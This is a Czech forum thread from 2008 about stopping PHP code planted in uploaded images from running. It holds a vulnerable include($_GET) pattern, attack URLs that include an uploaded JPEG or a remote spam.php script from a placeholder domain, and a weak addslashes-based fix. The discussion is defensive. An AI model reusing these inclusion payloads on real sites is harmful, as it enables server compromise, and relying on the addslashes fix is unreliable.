Autor | Zpráva | ||
---|---|---|---|
Gnd Profil * |
#1 · Zasláno: 3. 12. 2008, 14:41:24
Zdravím,
poradí někdo jak zakázat spouštění php pro určité adresáře pomocí .htaccess Předem děkuji.. |
||
Měsíček Profil |
#2 · Zasláno: 3. 12. 2008, 14:47:47 · Upravil/a: Měsíček
Reaguji na GnD:
K čemu tedy budou sloužit? Jestliže jen k tomu, aby ostatní mohli vidět kód stačí změnit koncovku s *.php na *.phps, ale to asi víš. |
||
Gnd Profil * |
#3 · Zasláno: 3. 12. 2008, 14:51:52
„K čemu tedy budou sloužit? “
jde o to ze v uvedene slozce se 100% php nachazet nebude a chci tim zvysit bezpecnost webu. Protoze se jiz v minulosti stalo, ze pres upload obrazku nekdo nahral nejakym zpusobem php scripty a spamoval. Upload jsem osetrili, ale chceme pro bezpecnost udelat maximum a proto potrebujeme i zakazat spousteni php... je to stale nepochopitelne? |
||
bohyn Profil |
#4 · Zasláno: 3. 12. 2008, 15:09:14
Gnd
Sice to nezakaze parsovani scriptu, ale slouzit by to melo <FilesMatch "\.php[3-5]?$"> Deny From All </FilesMatch> |
||
Gnd Profil * |
#5 · Zasláno: 3. 12. 2008, 15:18:37
„Sice to nezakaze parsovani scriptu, ale slouzit by to melo “
moc diky.. tohle reseni me nenapadlo.. asi proto ze nebude pro nas vhodne. Jde o to, ze soubory ktere k nam nekdo nahral urcite nemely koncovku .php. Soubory testujeme, zda jsou jpg a i pokud jsou, kopirujeme je do adresare vzdy s novym nazvem a vzdy s koncovkou jpg. Nekdo musel nahrat jpg soubor, ktery lze spustit i jako php. Upload jsem sice osetrili tak, ze ziskavame informace o velikosti obrazku atd + to ze obrazek vzdy projde zmensenim pred GD, pokud tohle vse je ok, potom se teprve uklada, ale i tak chceme mit jistotu a zakazat parsovani php a to bez ohledu na koncovky souboru. |
||
bohyn Profil |
#6 · Zasláno: 3. 12. 2008, 15:40:53
Gnd
Tohle prepise defaultni parsovani PHP scriptu, ale opet je to zalozene na koncovce. Pokud, ale takto prepises vsechny koncovky nastavene na parsovani PHP tak nebude mozne spustit zadny kod. Uplne odpojit mod_php asi nepude. AddType text/plain .php .php3 .php4 .php5 |
||
Gnd Profil * |
#7 · Zasláno: 3. 12. 2008, 16:02:13
„AddType text/plain .php .php3 .php4 .php5“
tohle jsem jen tak ze zvedavosti zkousel, ale nejak to nefungovalo, normalne jsem spustil script. To ze bych prepsal vsechny koncovky by mi nevadilo, zadny kod tam nebude, ale jsou tam jpg a k tem potrebuji normalne pristupovat a zaroven nechci riskovat, ze v jpg bude nejaky kod. Asi bude potreba dokonale osetrit upload. Ale i tak diky za tipy.. |
||
bohyn Profil |
#8 · Zasláno: 3. 12. 2008, 16:23:06 · Upravil/a: bohyn
ClearModuleList Odpoji vsechny moduly, ale treba ho vlozit primo do konfigurace serveru - tzn. kontaktovat webhosting. Potrebne moduly se pak musi zase pripojit pres AddModule.
Pokud ale nekdo hacknul upload tak to IMHO nebylo pres web (alespon pri popisovane metode kontroly), ale pres FTP nebo podobny pristup, popripade prolomil ochranu primo webhostingu. Apache se soubory zachazi podle koncovky, takze obrazky bezne neposila PHP parseru. PS: Jeste me napada ze to mohlo byt pres neosetreny include, kde se nazev vkladaneho souboru posila pres URL |
||
Gnd Profil * |
#9 · Zasláno: 3. 12. 2008, 16:47:38
„Apache se soubory zachazi podle koncovky, takze obrazky bezne neposila PHP parseru. “
ja prave cetl nejaky clanek, ze je mozno mit validni obrazek ve kterem je vepsan kod a nejakym zpusobem je mozne jej spustit. Vsechny kody co spam pravdepodobne provedly jsem nalezl prave ve slozce s obrazky. Divne je to, ze kdyz tam nekdo ty soubory dostal, tak po sobe nezametl a nechal je tam. Mam je ve svem pc, ale je to na me uz moc slozite, tak je nedokazu presne analyzovat. „PS: Jeste me napada ze to mohlo byt pres neosetreny include, kde se nazev vkladaneho souboru posila pres URL“ potreboval bych trochu popostrcit a poradit jak je mozne zneuzit neosetrene indule... diky.. |
||
bohyn Profil |
#10 · Zasláno: 3. 12. 2008, 17:00:13 · Upravil/a: bohyn
Gnd
Na nekterych webech muzou byt nastaveny i jine koncovky pro psousteni PHP sctiptu. Priklad: Potrebuju dynamicky generovat obrazek (treba pocitadlo) a nechci nechat koncovku .php. Kdyz sem linej pouzit mod_rewrite tak zmenim nastaveni tak aby se .jpg soubory posilaly PHP parseru (klasicke jpg budou fungovat i nadale). Chyba ale nastane pokud nekdo na web uploaduje svuj obrazek s PHP kodem v EXIF. Ad PS mam index.php stranku do ktere includuju dalsi pres GET promene: example.cz/index.php?stranka=kontakt.php // obsah index.php // ... include $_GET['stranka']; // ... Pokud ale nekdo upravi adresu na: example.cz/index.php?stranka=img/obrazek.jpg Tak se v PHP parseru zpracuje dany obrazek (nebo libovolny soubor). |
||
Gnd Profil * |
#11 · Zasláno: 3. 12. 2008, 18:54:37
„Pokud ale nekdo upravi adresu na:
example.cz/index.php?stranka=img/obrazek.jpg Tak se v PHP parseru zpracuje dany obrazek (nebo libovolny soubor).“ Diky za vysvetleni, podobne includujeme jednotlive stranky webu s nasledujicim rozdilem example.cz/index.php?stranka=kontakt include $_GET['stranka'].".php"; nemelo by tak ji podstrcit neco jineho, tedy doufam.. drive na jednom nejmenovanem hostingu a neni to tak davno sel Vami uvedenym zpusobem dokonce podstrcit script uplne jineho webu formou example.cz/index.php?stranka=http://www.domena.tld/spam.php |
||
bohyn Profil |
#12 · Zasláno: 3. 12. 2008, 19:15:20 · Upravil/a: bohyn
Gnd
„drive na jednom nejmenovanem hostingu a neni to tak davno sel Vami uvedenym zpusobem dokonce podstrcit script uplne jineho webu formou example.cz/index.php?stranka=http://www.domena.tld/spam.php“ To zalezi na direktive allow_url_include v php.ini „example.cz/index.php?stranka=kontakt include $_GET['stranka'].".php"; nemelo by tak ji podstrcit neco jineho, tedy doufam..“ V pripade povoleni vyse zminovane direktivy to obejit lze: http://example.com/spam.php? Koncovka je potom neskodna. Otestoval jdem jak by to slo obejit i bez toho a reseni je na svete. Edit: Po vnitrnim boji jsem zpusob utoku odstranil. Obejit to LZE - vyzkouseno. |
||
bohyn Profil |
#13 · Zasláno: 3. 12. 2008, 19:48:06
Obrana proti vyse uvedene zranitelnosti je:
$stranka = addslashes($_GET['stranka']); V nazvu soubory by nemely byt znaky vyzadujici zpetne lomitko a diru to zalepi. |
||
DoubleThink Profil * |
#14 · Zasláno: 3. 12. 2008, 19:53:14
„poradí někdo jak zakázat spouštění php pro určité adresáře pomocí .htaccess“
php_flag engine off Ovšem, stránky pak budou odesílány neinterpretovaně, tj. ve formě zdrojových kódů. |
||
Gnd Profil * |
#15 · Zasláno: 3. 12. 2008, 20:32:21
„„example.cz/index.php?stranka=kontakt
include $_GET['stranka'].".php";“ muze tedy nekdo poradit jak spravne includovat, jestlize se uvedene da lehce obejit? |
||
bohyn Profil |
|||
Gnd Profil * |
#17 · Zasláno: 3. 12. 2008, 20:48:45
„prispevek [#13]“
jj diky, nevim proc, ale v dobe psani meho dotazu tam tento prispevek vč. 14 nebyl.. i kdyz jsem stranku aktualizoval.. |
||
Gnd Profil * |
#18 · Zasláno: 3. 12. 2008, 20:55:37
„php_flag engine off“
diky moc.. tohle funguje... a obrazky mohu bez problemu pouzit. |
||
Gnd Profil * |
#19 · Zasláno: 4. 12. 2008, 07:34:02
Nyní asi s největší pravděpodobností vím, kde jsem měl největší díru a kudy pravděpodobně útok přišel.
V době, kdy jsem neměl ošetřen upload obrázků, bylo možné nahrát kód v souboru s koncovkou .jpg. Shodou okolností měl bohužel adresář s obrázky práva 777, což tomu jen nahrálo. Stačilo z lokálu nebo odněkud, kde to je povoleno vzdáleně includovat ono .jpg, kod byl nejen vykonán ale došlo k vytvoření dalších php souborů právě v adresáři s právy 777. Teorii jsem otestoval a bohužel to funguje. „php_flag engine off“ I zákaz parsování kódu určité složky nemá smysl, kód sice nejde spustit přímo, ale lze jej opět jednoduše includovat a je opět vykonán. |
||
joe Profil |
#20 · Zasláno: 4. 12. 2008, 09:09:15
Gnd
1. Zajímalo by mě, jakým způsobem lze uložit do JPG nějaký PHP kód, četl jsem to spíše o GIFech, ale do JPG to jde prý taky. Proč to chci vědět? Sám bych si chtěl otestovat systém, jak na tom je, mohl bych nějaký podobný útok očekávat taky. 2. Jaké práva by jsi tedy chtěl mít ve složce, kam nahráváš soubory než 777? 3. Možná by pomohlo umístit obrázky mimo document root a zobrazovat je přes nějaký kód, ale to by zase moc nepomohlo. |
||
Gnd Profil * |
#21 · Zasláno: 4. 12. 2008, 09:19:19
„1. Zajímalo by mě, jakým způsobem lze uložit do JPG nějaký PHP kód“
ono postačí, když nemáš dobře ošetřený upload a jen testujes typ souboru pomocí $file_type, potom stačí napsat kód a změnit koncovku na jpg a problém je na světě. |
||
Sicario Profil * |
#22 · Zasláno: 4. 12. 2008, 09:44:00
joe
1. Zajímalo by mě, jakým způsobem lze uložit do JPG nějaký PHP kód, .... Do jpegu se da vlozit PHP kod prostrednictvim jpeg komentare (umi celkem snadno napr. prohlizec FastStone). Ostatne, zkus si ho naincludovat sam. |
||
PP Profil * |
#23 · Zasláno: 4. 12. 2008, 10:33:32
Popisanie daneho problemu a riesenie najdes na http://blackhole.sk/topicupload-suborov-v-php-nebezpecne-gif-obrazky
|
||
Gnd Profil * |
#24 · Zasláno: 4. 12. 2008, 11:30:08
„Do jpegu se da vlozit PHP kod prostrednictvim jpeg komentare (umi celkem snadno napr. prohlizec FastStone). Ostatne, zkus si ho naincludovat sam.“
pekna prasarna, opravdu to jde, jen me zajima, jak je mozne se se ignoruji data na zacatku souboru |
||
srigi Profil |
#25 · Zasláno: 4. 12. 2008, 11:55:29
„„Do jpegu se da vlozit PHP kod prostrednictvim jpeg komentare (umi celkem snadno napr. prohlizec FastStone). Ostatne, zkus si ho naincludovat sam.““
„pekna prasarna, opravdu to jde, jen me zajima, jak je mozne se se ignoruji data na zacatku souboru“ Oni sa proste ignoruju v PHP parsery a ten ich posle s defaultnym MIME typom, co je na drvivej vacsine hostingov nastaveny na text/plain. Preto sa v browsery zobrazi binarno-teztovy balast vid moj obrazok z clanku na BH. Ako sa uz navrhovalo, jedine mozne ocistenie obrazkov je prehnanie cez GD kniznicu. |
||
Gnd Profil * |
#26 · Zasláno: 4. 12. 2008, 12:08:09
„Ako sa uz navrhovalo, jedine mozne ocistenie obrazkov je prehnanie cez GD kniznicu.“
ano presne to jsem udelal i otestoval, pokud je jpg validni tak pres GD projde a kod je ztracen.. |
||
Sicario Profil * |
#27 · Zasláno: 4. 12. 2008, 12:37:55
Gnd
Tak prasarna to neni, spis vlastnost. Jak vidis, ani server tinypic.com komentare z obrazku neodstranuje a asi s tim problem nema. Resenim je zachazet opatrne s prikazem include. Jinak se na na tomhle prikladu ukazuje, ze jakakoli metadata z obrazku se musi pri vypisu do html stranky prohnat pres htmlspecialchars, jinak je nekdo vyuzije pro XSS. |
||
bohyn Profil |
#28 · Zasláno: 4. 12. 2008, 15:33:51 · Upravil/a: bohyn
Gnd
„Nyní asi s největší pravděpodobností vím, kde jsem měl největší díru a kudy pravděpodobně útok přišel. V době, kdy jsem neměl ošetřen upload obrázků, bylo možné nahrát kód v souboru s koncovkou .jpg. Shodou okolností měl bohužel adresář s obrázky práva 777, což tomu jen nahrálo. Stačilo z lokálu nebo odněkud, kde to je povoleno vzdáleně includovat ono .jpg, kod byl nejen vykonán ale došlo k vytvoření dalších php souborů právě v adresáři s právy 777. Teorii jsem otestoval a bohužel to funguje.“ Ten kod je nevykonal u tebe na serveru (tam kde byl obrazek nahran), ale na serveru kam si ho includoval. Toto dira do systemu neni. Pokud, jak pise Sicario, zachazis opatrne s includem tak neni duvod se obavat PHP scriptu vlozenych do obrazku. Utok na tvoji stranku pravdepodobne probehl prave pres include jak jsem psal vyse. include $_GET['stranka'].".php"; Sicario „Jinak se na na tomhle prikladu ukazuje, ze jakakoli metadata z obrazku se musi pri vypisu do html stranky prohnat pres htmlspecialchars, jinak je nekdo vyuzije pro XSS.“ Toto se PHP netyka, to je problem JS joe „1. Zajímalo by mě, jakým způsobem lze uložit do JPG nějaký PHP kód, četl jsem to spíše o GIFech, ale do JPG to jde prý taky. Proč“ Lze to vlozit do jakehokoliv souboru (i binarniho), pak je jen treba presvedcit PHP parser aby to zpracoval. |
||
imploder Profil |
#29 · Zasláno: 4. 12. 2008, 15:44:08
bohyn
„Neni bezpecny, ikdyz mas napevno koncovku, presto to lze obejit.“ Jak? Nic končícího na .php přece uploadem neprojde, takže ať už pošle ?stranka=cokoliv, nalepí se na to .php a takový obrázek tam nemůže mít. |
||
bohyn Profil |
#30 · Zasláno: 4. 12. 2008, 15:56:02 · Upravil/a: bohyn
imploder
Reseni jsem vymyslel behem 5 minut pri psani prispevku [#12] a reseni je v prispevku [#13] Edit: u prispevku [#12] jsem zpusob utoku odstranil, abych nesiril navod na utok. |
||
Téma pokračuje na další straně.
|
0